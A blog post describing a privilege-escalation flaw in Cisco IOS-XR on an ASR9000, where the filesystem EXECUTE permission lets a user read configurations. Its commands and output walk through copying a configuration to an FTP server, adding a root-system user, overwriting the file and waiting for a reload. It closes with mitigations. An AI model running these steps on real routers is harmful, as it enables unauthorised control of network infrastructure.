How to get full root access in IOS-XR with just a single permission

During the last week i'm experimenting with an ASR9000 and IOS-XR and here is something tricky i found out yesterday.

You may already know that IOS-XR uses a different concept for users' permissions. In IOS you have users and privilege levels, while in IOS-XR you have Users, User Groups, Task Groups and Task IDs. In general, the operational tasks that enable users to control, configure, and monitor the router are represented by Task IDs. A Task ID defines the permission needed to perform a command. Users are associated with sets of Task IDs that define the capabilities of their authorized access to the router. More specifically:

Users belong to User Groups
User Groups include various Task Groups
Task Groups define Read/Write/Execute/Debug Task IDs
Task IDs correspond to specific CLI commands

By following the above relationship in reverse order you end up with the required configuration.

1) In order to find the corresponding Task ID for a cli command, you can execute the "describe" command followed by the CLI command you're interested to.

RP/0/RSP0/CPU0:asr9k#describe show interfaces
The command is defined in show_interface.parser

Node 0/RSP0/CPU0 has file show_interface.parser for boot package /disk0/asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm from asr9k-base
Package:
    asr9k-base
        asr9k-base V3.9.1[00]  Base Package for ASR9K
        Vendor : Cisco Systems
        Desc   : Base Package for ASR9K
        Build  : Built on Sun May  2 09:32:03 EET 2010
        Source : By sjc-lds-511 in /auto/srcarchive4/production/3.9.1/asr9k/workspace for c4.2.1-p0
        Card(s): RP, RP-B, HRP, OC3-POS-4, OC12-POS, GE-3, OC12-POS-4, OC48-POS, E3-OC48-POS, E3-OC12-POS-4, E3-OC3-POS-16, E3-OC3-POS-8, E3-OC3-POS-4, E3-OC48-CH, E3-OC12-CH-4, E3-GE-4, E3-OC3-ATM-4, E3-OC12-ATM-4, E5-CEC, E5-CEC-v2, SE-SEC, NP24-4x10GE, NP24-40x1GE, NP40-40x1GE, NP40-4x10GE, NP40-8x10GE, NP40-2_20_COMBO, NP80-8x10GE, NP80-16x10GE, LC, E3-OC12-CH-1, E7-CEC, A9K-SIP-700
        Restart information:
          Default:
            parallel impacted processes restart

Component:
    pfi-im-cmd V[r39x/4]  PFI show commands

File:
    show_interface.parser
        Card(s)              : RP, DRP, SC
        File type            : Default
        Remotely-hosted      : No
        Local view           : /pkg/parser/show_interface.parser
        Local install path   : /disk0/asr9k-base-3.9.1/parser/show_interface.parser
        Central install path : /disk0/asr9k-base-3.9.1/parser/show_interface.parser


User needs ALL of the following taskids:

        interface (READ)

It will take the following actions:
  Spawn the process:
        show_interface -a

So, for the "sh int" command you need to have access to the "interface (READ)" Task ID. Keep in mind that Task IDs grant permission to perform certain tasks; Task IDs do not deny permission to perform tasks.

2) You create a new Task Group and put the above Task Id under it.

taskgroup TEST-TASKGROUP
 task read interfaces

3) You create a new User Group and put the above Task Group under it.

usergroup TEST-USERGROUP
 taskgroup TEST-TASKGROUP

4) You create a new user and put the above User Group under it.

username TESTUSER
 group TEST-USERGROUP

Now, when the above user logs in, he will have access only to specific commands that are associated with this Task ID (plus some others which are enabled by default). Also, he will be able to see the configuration of all interfaces.

Before the Task ID was enabled:

RP/0/RSP0/CPU0:asr9k#sh int ?
% This command is not authorized

After the Task ID was enabled:

RP/0/RSP0/CPU0:asr9k#sh int ?
  ATM              ATM Network Interface(s)
  Bundle-Ether     Aggregated Ethernet interface(s)
  Bundle-POS       Aggregated POS interface(s)
  FastEthernet     FastEthernet/IEEE 802.3 interface(s)
  GigabitEthernet  GigabitEthernet/IEEE 802.3 interface(s)
...

IOS-XR uses at least 2 running configurations on the ASR9000. The first one is called admin running configuration and you have to enter admin EXEC mode in order to view or change it. The other is called SDR running configuration and it is like the one that IOS uses (actually you have one running configuration per Secure Domain Router (SDR), but only one SDR is available on the ASR9000).

Only users with root-system privileges can access the administration modes by logging in to the RSP for the owner SDR (called the designated shelf controller (DSC)). Administration modes are used to view and manage system-wide resources and logs. Users with root-system privileges have access to system-wide features and resources. The root-system user is created during the initial boot and configuration of the router.

Now, let's suppose you are a root user and you want to allow a user to check the contents of a directory or a file. The "filesystem" Task ID is the one that will allow the user to execute the "dir" and "more" commands.

RP/0/RSP0/CPU0:asr9k#describe more nvram:classic-rommon-var
...
User needs ALL of the following taskids:

        filesystem (EXECUTE)

...

The following user is allowed to do only that.

RP/0/RSP0/CPU0:asr9k#sh user
test

RP/0/RSP0/CPU0:asr9k#sh user tasks
Task:           filesystem  :                  EXECUTE

With a little bit of searching on the available filesystems, you'll find out that this particular user can also view both the SDR and admin configurations in their full glory! These files are stored in clear text (ASCII) too, so everyone with access on the execute operation of the filesystem Task ID can also have access to their contents.

RP/0/RSP0/CPU0:asr9k#dir disk0:config/admin

Directory of disk0:/config/admin

6810        -rw-  416         Sat Sep 11 18:32:51 2010  admin_nonlr.bin
6811        -rw-  416         Sat Sep 11 18:32:51 2010  admin.bin
9418222     -rwx  307         Sat Sep 11 17:37:09 2010  admin.cfg
6813        -rwx  307         Sat Sep 11 18:32:50 2010  last_used.cfg

1644150784 bytes total (1175237120 bytes free)

RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg
!! IOS XR Admin Configuration 3.9.1
...

RP/0/RSP0/CPU0:asr9k#dir disk0:config/running/alternate_cfg

Directory of disk0:/config/running/alternate_cfg

3991330     -rwx  11312       Sun Sep 12 01:53:25 2010  router.cfg
3991331     -rwx  7558        Tue Sep  7 22:09:15 2010  last_used.cfg

RP/0/RSP0/CPU0:asr9k#more disk0:config/running/alternate_cfg/router.cfg
!! IOS XR Configuration 3.9.1
!! Last configuration change at Sun Sep 12 00:50:30 2010 by xxx
...

The above is not exactly the running configuration, it's like a "backup" one (or a secondary one) which seems to get synced to the actual (or primary) running configuration in special cases, like when you do a reload or activate a package. You can find the actual SDR configuration (in clear text too) under "disk0:/config/lr/running/nvgen" split in various parts:

RP/0/RSP0/CPU0:asr9k#dir disk0:config/lr/running/nvgen

Directory of disk0:/config/lr/running/nvgen

3992098     -rw-  100         Sun Sep 12 21:47:51 2010  nv_cur.cfg
3992099     -rw-  0           Sun Sep 12 21:20:11 2010  sh_admin.cf2
3992100     -rw-  1358        Sun Sep 12 21:47:50 2010  sh_os.cf2
3992101     -rw-  3220        Sun Sep 12 21:20:11 2010  sh_base.cf2
3858651     -rw-  0           Sun Sep 12 21:20:11 2010  sh_base_placed.cf2
3858657     -rw-  74          Sun Sep 12 21:47:50 2010  sh_p_domain_services.cf2
3992104     -rw-  4           Sun Sep 12 21:47:50 2010  sh_p_cdp_mgr.cf2
3858658     -rw-  0           Sun Sep 12 21:20:11 2010  sh_p_ip_expl_paths_daemon.cf2
3858659     -rw-  0           Sun Sep 12 21:20:11 2010  sh_p_rt_check_mgr.cf2
3858660     -rw-  0           Sun Sep 12 21:20:11 2010  sh_p_ipv4_rib.cf2
3992108     -rw-  28          Sun Sep 12 21:47:51 2010  sh_p_arp_gmp.cf2
...

i.e. to see the current access lists:

RP/0/RSP0/CPU0:asr9k#more disk0:config/lr/running/nvgen/sh_fwd_acl.cf2
ipv4 access-list 9
 10 permit ipv4 10.21.8.0 0.0.0.255 any
....

In case you have some level 7 passwords into the running configuration (something you should avoid doing since you have the "secret" option), then you're probably risking a lot, because these can be easily decrypted. Luckily, admin configuration doesn't allow such passwords.

What is more interesting is that the execute permission of the filesystem Task ID allows the user to also copy/overwrite a file (some configuration files are not allowed to be deleted, while some others are recreated "automatically" while doing a reload).


Here comes the tricky part...

There are some variables in ROM Monitor mode, that you can use in order to change the paths and names of configuration files, bypassing the normal startup procedure which by default loads the primary (binary) configuration.

i.e. permanently change the location of the default admin configuration file:

IOX_ADMIN_CONFIG_FILE=drive:path/file

i.e. permanently change the location of the router configuration file:

IOX_CONFIG_FILE=drive:path/file 

i.e. permanently change the default location where configuration files are saved:

IOX_CONFIG_MEDIUM=drive:path

Using the "set" command while in rommon will display their current values:

rommon B1 > set
...
IOX_ADMIN_CONFIG_FILE=
IOX_CONFIG_FILE=
IOX_CONFIG_MEDIUM=
...

Again, all the above rommon variables are saved in clear text too, so the test user can still find them by simply executing the "more" command from the CLI.

RP/0/RSP0/CPU0:asr9k#more nvram:classic-rommon-var
  PS1 = rommon ! > , IOX_ADMIN_CONFIG_FILE = , BOOT_DEV_SEQ_CONF = disk0:;disk1:, MIRROR_ENABLE = Y, TFTP_VERBOSE = 0, TFTP_RETRY_COUNT = 4, TFTP_TIMEOUT = 6000, TFTP_CHECKSUM = 0, TFTP_MGMT_INTF = 0, TURBOBOOT = , ? = 0, IP_ADDRESS = 10.200.73.34, IP_SUBNET_MASK = 255.255.255.252, DEFAULT_GATEWAY = 10.200.73.33, TFTP_SERVER = 10.21.8.24, ReloadReason = 1, BSI = 0, BOOT_DEV_SEQ_OPER = disk0:, BOOT = disk0:asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm,1;, confreg = 0x2102^@

Now let's change IOX_CONFIG_FILE to point to a new configuration file. It doesn't really matter where the file is saved.

rommon B2 > IOX_CONFIG_FILE=disk0:running-config
rommon B3 > sync
rommon B4 > reset

Nothing different until now. The test user can still find and see the running-config as "expected":

RP/0/RSP0/CPU0:asr9k#more nvram:classic-rommon-var
  PS1 = rommon ! > , IOX_ADMIN_CONFIG_FILE = , BOOT_DEV_SEQ_CONF = disk0:;disk1:, MIRROR_ENABLE = Y, TFTP_VERBOSE = 0, TFTP_RETRY_COUNT = 4, TFTP_TIMEOUT = 6000, TFTP_CHECKSUM = 0, TFTP_MGMT_INTF = 0, TURBOBOOT = , IP_ADDRESS = 10.200.73.34, IP_SUBNET_MASK = 255.255.255.252, DEFAULT_GATEWAY = 10.200.73.33, TFTP_SERVER = 10.21.8.24, ReloadReason = 1, ? = 0, IOX_CONFIG_FILE = disk0:running-config, BSI = 0, BOOT_DEV_SEQ_OPER = disk0:, BOOT = disk0:asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm,1;, confreg
= 0x2102^@

RP/0/RSP0/CPU0:asr9k#more disk0:running-config
!! IOS XR Configuration 3.9.1
!! Last configuration change at Mon Sep 13 01:58:33 2010 by xxx
...

Test user is still a member of the TESTGROUP User Group, which has limited access.

RP/0/RSP0/CPU0:asr9k#sh user tasks
Task:           filesystem  :                  EXECUTE

Step 1 : Test user copies the running configuration to a ftp server:

RP/0/RSP0/CPU0:asr9k#copy disk0:running-config ftp://10.21.8.24/test-config
Destination filename [test-config]?
Writing ftp://10.21.8.24/test-config
C
11314 bytes copied in      0 sec

Step 2 : Test user changes the contents of the above file in order to make himself member of the root-system User Group and uploads it in the same path as the original configuration, overwriting it.

RP/0/RSP0/CPU0:asr9k#copy ftp://10.21.8.24/test-config disk0:running-config
Destination filename [/disk0:/running-config]?
Copy : Destination exists, overwrite ?[confirm]
Accessing ftp://10.21.8.24/test-config
C
11311 bytes copied in      0 sec

Step 3 : Test user verifies that his changes are actually on the uploaded file:

RP/0/RSP0/CPU0:asr9k#more disk0:running-config
!! IOS XR Configuration 3.9.1
!! Last configuration change at Mon Sep 13 01:58:33 2010 by xxx
...
username test
 group root-system

Step 4 : A little bit later a Root user makes a reload and voila! Test user gets root access!

RP/0/RSP0/CPU0:asr9k#sh user
test

RP/0/RSP0/CPU0:asr9k#sh user tasks
Task:                  aaa  : READ    WRITE    EXECUTE    DEBUG
Task:                  acl  : READ    WRITE    EXECUTE    DEBUG
Task:                admin  : READ    WRITE    EXECUTE    DEBUG
Task:                 ancp  : READ    WRITE    EXECUTE    DEBUG
Task:                  atm  : READ    WRITE    EXECUTE    DEBUG
Task:       basic-services  : READ    WRITE    EXECUTE    DEBUG
Task:                 bcdl  : READ    WRITE    EXECUTE    DEBUG
Task:                  bfd  : READ    WRITE    EXECUTE    DEBUG
Task:                  bgp  : READ    WRITE    EXECUTE    DEBUG

The above happens only when you have set the rommon variable to use a different configuration file.

Exactly the same thing can happen for the admin configuration too. It's even easier there, because you can just upload a new file and overwrite the current one, without having to change the rommon variables. Then you'll get root access to the admin mode, which means you have admin access to the SDR too.

! check our current user credentials
RP/0/RSP0/CPU0:asr9k#sh user task
Task:           filesystem  :                  EXECUTE

! no admin access is allowed
RP/0/RSP0/CPU0:asr9k#admin
% This command is not authorized

! view the current admin config file
RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg
!! IOS XR Admin Configuration 3.9.1
username root
 group root-system
 secret 5 xxx
!
end

! transfer the admin config file to a ftp server
RP/0/RSP0/CPU0:asr9k#copy disk0:config/admin/admin.cfg ftp://10.21.8.24/test-config
Destination filename [test-config]?
Writing ftp://10.21.8.24/test-config
C
384 bytes copied in      0 sec

! edit the admin config file and add a 2nd root user
!! IOS XR Admin Configuration 3.9.1
username root
 group root-system
 secret 5 xxx
!
username test-root
 group root-system
 secret 5 xxx
!
end

! upload the new admin config file and overwrite the old one
RP/0/RSP0/CPU0:asr9k#copy ftp://10.21.8.24/test-config disk0:config/admin/admin.cfg
Destination filename [/disk0:/config/admin/admin.cfg]?
Copy : Destination exists, overwrite ?[confirm]
Accessing ftp://10.21.8.24/test-config
C
465 bytes copied in      0 sec

! view the new admin config file
RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg
!! IOS XR Admin Configuration 3.9.1
username root
 group root-system
 secret 5 xxx
!
username test-root
 group root-system
 secret 5 xxx
!
end

! wait for the admin (or persuade him) to make a reload
...

! test the new root account ;)
RP/0/RSP0/CPU0:asr9k#sh user
test-root
RP/0/RSP0/CPU0:asr9k#sh user task
Task:                  aaa  : READ    WRITE    EXECUTE    DEBUG
Task:                  acl  : READ    WRITE    EXECUTE    DEBUG
Task:                admin  : READ    WRITE    EXECUTE    DEBUG
Task:                 ancp  : READ    WRITE    EXECUTE    DEBUG
Task:                  atm  : READ    WRITE    EXECUTE    DEBUG
Task:       basic-services  : READ    WRITE    EXECUTE    DEBUG
Task:                 bcdl  : READ    WRITE    EXECUTE    DEBUG
...

! admin access is now allowed
RP/0/RSP0/CPU0:asr9k#admin
RP/0/RSP0/CPU0:asr9k(admin)#

What seems strange to me is that the primary configuration in IOS-XR is stored in binary (SysDB) format (you can find it in the same path as above) and the secondary one (which is in ASCII format) should be used only in case of emergency (corruption?). I guess a possible inconsistency between these 2 configurations after the reload, makes the ASCII configuration override the binary one. Keep in mind that while doing the reload, there are no warning messages about configuration inconsistencies.

Admin mode
If the actual admin executes "clear configuration inconsistency" or "cfs check" while in admin mode, the ASCII configuration you just uploaded will be updated by the current running configuration, so the changes will be lost. But, if a reload is executed from admin mode without first giving the above commands, then the test user will get root access after the reload.

SDR mode
If a reload is executed while on SDR, regardless of whether the above two commands are executed too, then there won't be any effect on the admin configurations and the test user will again get root access after the reload. After all, how often do you use the admin EXEC mode?

Imho, filesystem permissions should get re-organized. Critical files or "dynamic" paths where critical files reside should be available under a new Task ID.

Until the above is fixed, you should not allow every user to use the filesystem Task ID, unless there is absolute need to give the above permissions.

If you want to have better control of your users' permissions you should think of using an external aaa server (i.e. tacacs) and apply attributes that restrict them in executing specific commands with specific arguments.

Notes:
1) The availability of configuration modes always depends on the software packages that are installed on your system and on the router platform that you are using.
2) You can find a list of all Task IDs under IOS-XR 4.0 and their required permissions here.
3) I'm sure someone else will know a lot more about the IOS-XR internals (after all, everything written above was found by one week's experimentation). Please feel free to submit any corrections.
4) If you happen to have some extra permissions regarding utilities, then you can probably modify the configuration files online, by using xargs,perl,vim.